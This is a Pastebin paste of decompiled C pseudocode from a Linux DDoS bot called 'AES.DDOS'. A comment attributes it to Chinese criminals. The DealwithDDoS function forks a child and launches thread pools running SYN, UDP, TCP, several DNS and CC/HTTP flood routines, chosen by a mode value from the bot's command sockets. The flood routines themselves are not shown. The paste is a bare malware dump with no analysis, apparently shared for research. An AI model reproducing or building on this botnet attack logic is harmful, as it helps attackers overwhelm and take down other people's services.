Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Malcodes snagged crok its Chinese crooks: AES.DDOS
- DealwithDDoS()
- result = StopFlag;
- if ( StopFlag )
- {
- StopFlag = 0;
- attMode = *(_DWORD *)(loc.var1 + 388);
- if ( *(_DWORD *)(loc.var1 + 392) > 2 * (cpu_num + 10) )
- *(_DWORD *)(loc.var1 + 392) = 2 * (cpu_num + 10);
- result = childcnt;
- if ( childcnt <= 9 )
- {
- p = fork();
- if ( !p )
- {
- forkFlag = 1;
- close(MainSocket);
- close(MainSocketA);
- close(MainSocketM);
- *(_DWORD *)pid = 0;
- pthread_create(&DDosTime, 0, CreateTimer, *(_DWORD *)(loc.var1 + 404));
- switch ( *(_DWORD *)(loc.var1 + 388) )
- {
- case 1:
- for ( i = 0; *(_DWORD *)(loc.var1 + 392) > i; ++i )
- {
- if ( *(_DWORD *)(loc.var1 + 396) > 40 )
- pthread_create(&id[4 * i], 0, LSYN_Flood, loc.var1);
- else
- pthread_create(&id[4 * i], 0, SYN_Flood, loc.var1);
- }
- break;
- case 2:
- for ( j = 0; *(_DWORD *)(loc.var1 + 392) > j; ++j )
- pthread_create(&id[4 * j], 0, UDP_Flood, loc.var1);
- break;
- case 3:
- for ( k = 0; *(_DWORD *)(loc.var1 + 392) > k; ++k )
- pthread_create(&id[4 * k], 0, TCP_Flood, loc.var1);
- break;
- case 4:
- for ( l = 0; *(_DWORD *)(loc.var1 + 392) > l; ++l )
- pthread_create(&id[4 * l], 0, DNS_Flood1, loc.var1);
- break;
- case 5:
- for ( m = 0; *(_DWORD *)(loc.var1 + 392) > m; ++m )
- pthread_create(&id[4 * m], 0, DNS_Flood2, loc.var1);
- break;
- case 6:
- for ( n = 0; *(_DWORD *)(loc.var1 + 392) > n; ++n )
- pthread_create(&id[4 * n], 0, DNS_Flood3, loc.var1);
- break;
- case 7:
- for ( ii = 0; *(_DWORD *)(loc.var1 + 392) > ii; ++ii )
- pthread_create(&id[4 * ii], 0, DNS_Flood4, loc.var1);
- break;
- case 8:
- for ( jj = 0; *(_DWORD *)(loc.var1 + 392) > jj; ++jj )
- pthread_create(&id[4 * jj], 0, CC_Flood, loc.var1);
- break;
- case 9:
- for ( kk = 0; *(_DWORD *)(loc.var1 + 392) > kk; ++kk )
- pthread_create(&id[4 * kk], 0, CC2_Flood, loc.var1);
- break;
- case 0xA:
- for ( ll = 0; *(_DWORD *)(loc.var1 + 392) > ll; ++ll )
- pthread_create(&id[4 * ll], 0, CC3_Flood, loc.var1);
- break;
- case 0xB:
- for ( mm = 0; *(_DWORD *)(loc.var1 + 392) > mm; ++mm )
- pthread_create(&id[4 * mm], 0, UDPS_Flood, loc.var1);
- break;
- case 0xC:
- for ( nn = 0; *(_DWORD *)(loc.var1 + 392) > nn; ++nn )
- pthread_create(&id[4 * nn], 0, UDP_Flood, loc.var1);
- break;
- default:
- break;
- }
- pthread_join(DDosTime, 0);
- }
- result = p;
- *(_DWORD *)pid = p;
- }
- }
- return result;
Advertisement
Add Comment
Please, Sign In to add comment